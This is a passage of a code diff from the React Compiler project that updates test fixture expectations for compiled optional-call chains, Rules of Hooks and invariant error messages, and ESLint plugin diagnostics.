-    |                      ^^^^^^^^ Unexpected terminal kind `optional` for optional fallthrough block
-  5 | }
-  6 |
-  7 | function createArray<T>(...args: Array<T>): Array<T> {
-```
-          
-      

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/todo-optional-call-chain-in-optional.expect.md

@@ -0,0 +1,54 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+function useFoo(props: {value: {x: string; y: string} | null}) {
+  const value = props.value;
+  return createArray(value?.x, value?.y)?.join(', ');
+}
+
+function createArray<T>(...args: Array<T>): Array<T> {
+  return args;
+}
+
+export const FIXTURE_ENTRYPONT = {
+  fn: useFoo,
+  props: [{value: null}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+function useFoo(props) {
+  const $ = _c(3);
+  const value = props.value;
+  let t0;
+  if ($[0] !== value?.x || $[1] !== value?.y) {
+    t0 = createArray(value?.x, value?.y)?.join(", ");
+    $[0] = value?.x;
+    $[1] = value?.y;
+    $[2] = t0;
+  } else {
+    t0 = $[2];
+  }
+  return t0;
+}
+
+function createArray(...t0) {
+  const args = t0;
+  return args;
+}
+
+export const FIXTURE_ENTRYPONT = {
+  fn: useFoo,
+  props: [{ value: null }],
+};
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-for.expect.md

@@ -16,29 +16,24 @@ function Component(props) {
 ## Error
 
 ```
-Found 2 errors:
+Found 1 error:
 
-Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+Invariant: Unexpected empty block with `goto` terminal
 
-error.invalid-hook-for.ts:4:9
-  2 |   let i = 0;
-  3 |   for (let x = 0; useHook(x) < 10; useHook(i), x++) {
-> 4 |     i += useHook(x);
-    |          ^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
-  5 |   }
-  6 |   return i;
-  7 | }
+Block bb5 is empty.
 
-Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
-
-error.invalid-hook-for.ts:3:35
+error.invalid-hook-for.ts:3:2
   1 | function Component(props) {
   2 |   let i = 0;
 > 3 |   for (let x = 0; useHook(x) < 10; useHook(i), x++) {
-    |                                    ^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
-  4 |     i += useHook(x);
-  5 |   }
+    |   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+> 4 |     i += useHook(x);
+    | ^^^^^^^^^^^^^^^^^^^^
+> 5 |   }
+    | ^^^^ Unexpected empty block with `goto` terminal
   6 |   return i;
+  7 | }
+  8 |
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-optional-call-chain-in-optional.expect.md

@@ -0,0 +1,53 @@
+
+## Input
+
+```javascript
+function useFoo(props: {value: {x: string; y: string} | null}) {
+  const value = props.value;
+  return createArray(value?.x, value?.y)?.join(', ');
+}
+
+function createArray<T>(...args: Array<T>): Array<T> {
+  return args;
+}
+
+export const FIXTURE_ENTRYPONT = {
+  fn: useFoo,
+  props: [{value: null}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function useFoo(props) {
+  const $ = _c(3);
+  const value = props.value;
+  let t0;
+  if ($[0] !== value?.x || $[1] !== value?.y) {
+    t0 = createArray(value?.x, value?.y)?.join(", ");
+    $[0] = value?.x;
+    $[1] = value?.y;
+    $[2] = t0;
+  } else {
+    t0 = $[2];
+  }
+  return t0;
+}
+
+function createArray(...t0) {
+  const args = t0;
+  return args;
+}
+
+export const FIXTURE_ENTRYPONT = {
+  fn: useFoo,
+  props: [{ value: null }],
+};
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.error.object-pattern-computed-key.expect.md

@@ -23,16 +23,18 @@ export const FIXTURE_ENTRYPOINT = {
 ```
 Found 1 error:
 
-Todo: (BuildHIR::lowerAssignment) Handle computed properties in ObjectPattern
+Invariant: [InferMutationAliasingEffects] Expected value kind to be initialized
 
-todo.error.object-pattern-computed-key.ts:5:9
-  3 | const SCALE = 2;
+<unknown> value$3.
+
+todo.error.object-pattern-computed-key.ts:6:9
   4 | function Component(props) {
-> 5 |   const {[props.name]: value} = props;
-    |          ^^^^^^^^^^^^^^^^^^^ (BuildHIR::lowerAssignment) Handle computed properties in ObjectPattern
-  6 |   return value;
+  5 |   const {[props.name]: value} = props;
+> 6 |   return value;
+    |          ^^^^^ this is uninitialized
   7 | }
   8 |
+  9 | export const FIXTURE_ENTRYPOINT = {
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-multiple-with-eslint-suppression.expect.md

@@ -25,6 +25,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
+import { c as _c } from "react/compiler-runtime";
 import { useRef } from "react";
 
 const useControllableState = (options) => {};

compiler/packages/eslint-plugin-react-compiler/__tests__/NoCapitalizedCallsRule-test.ts

@@ -64,6 +64,9 @@ testRule(
           makeTestCaseError(
             'Capitalized functions are reserved for components',
           ),
+          makeTestCaseError(
+            'Capitalized functions are reserved for components',
+          ),
         ],
       },
     ],

compiler/packages/eslint-plugin-react-compiler/__tests__/PluginTest-test.ts

@@ -57,7 +57,6 @@ testRule('plugin-recommended', TestRecommendedRules, {
   ],
   invalid: [
     {
-      // TODO: actually return multiple diagnostics in this case
       name: 'Multiple diagnostic kinds from the same function are surfaced',
       code: normalizeIndent`
         import Child from './Child';
@@ -70,6 +69,7 @@ testRule('plugin-recommended', TestRecommendedRules, {
       `,
       errors: [
         makeTestCaseError('Hooks must always be called in a consistent order'),
+        makeTestCaseError('Capitalized functions are reserved for components'),
       ],
     },
     {
@@ -128,6 +128,7 @@ testRule('plugin-recommended', TestRecommendedRules, {
         makeTestCaseError(
           'Calling setState from useMemo may trigger an infinite loop',
         ),
+        makeTestCaseError('Found extra memoization dependencies'),
       ],
     },
   ],